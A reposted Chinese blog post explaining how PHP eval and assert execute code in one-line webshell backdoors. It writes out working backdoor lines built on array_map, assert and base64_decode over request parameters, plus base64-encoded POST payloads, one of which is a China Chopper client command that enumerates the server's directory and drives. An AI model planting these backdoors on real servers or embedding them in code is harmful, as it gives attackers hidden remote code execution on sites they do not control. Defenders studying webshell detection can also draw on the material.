浅析一句话后门中eval与assert执行条件与原理
转载自:http://www.vuln.cn/8395
eval与assert都算是元老级一句话后门函数,其实很多情形下代码的执行还是需要依靠eval去执行,只是前锋路转了而已。
eval与assert函数的用法大家可以自行百度。
eval与assert区别
eval函数中参数是字符,如:
eval('echo 1;');
assert函数中参数为表达式 (或者为函数),如:
assert(phpinfo())
assert(eval('echo 1;'));
直接传递普通代码是无法执行的,如:assert('echo 1;');
下面这个代码执行不了:
@array_map("eval",array('phpinfo();'));
肯定会错: Warning: array_map() expects parameter 1 to be a valid callback, function 'eval' not found or invalid function name,提示array_map第一个参数需要是回调函数
所以这个后门:
@array_map(assert,(array)base64_decode($_REQUEST['xx']));
array_map第二个参数需要再镶嵌一个assert,
xx=YXNzZXJ0KCRfUkVRVUVTVFsnYWEnXSk=
base64_decode($_REQUEST['xx']) 得到: assert($_REQUEST['aa'])
其中aa为菜刀中post的数据
aa=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7ZWNobyAkRC4iXHQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaXNfZGlyKCRMLiI6IikpZWNobygkTC4iOiIpO307ZWNobygifDwtIik7ZGllKCk7
![](http://www.vuln.cn/wp-content/uploads/2016/11/4b3be9776f230af367ba6b98d0de6090.png)
这样,会构造出:assert(eval('执行代码')),这个为array_map的第二个参数,
最终将数组中第二个参数回调到第一个数组,执行时代码为:assert(assert(eval('执行代码')) )
另一个例子:
$a=(array)base64_decode($_POST['a']);
array_map(assert,$a);
这时候需要构造post参数为:
a=ZXZhbCgnZWNobyAxOycp
(eval('echo 1;'))
声明:
作者:ssooking 联系邮箱:c3Nvb2tpbmdAeWVhaC5uZXQ=
若无特殊说明,所发博文皆为原创,转载请务必注明出处、保留原文地址。欢迎交流分享!如果您有任何问题,请联系我!
作者:ssooking 联系邮箱:c3Nvb2tpbmdAeWVhaC5uZXQ=
若无特殊说明,所发博文皆为原创,转载请务必注明出处、保留原文地址。欢迎交流分享!如果您有任何问题,请联系我!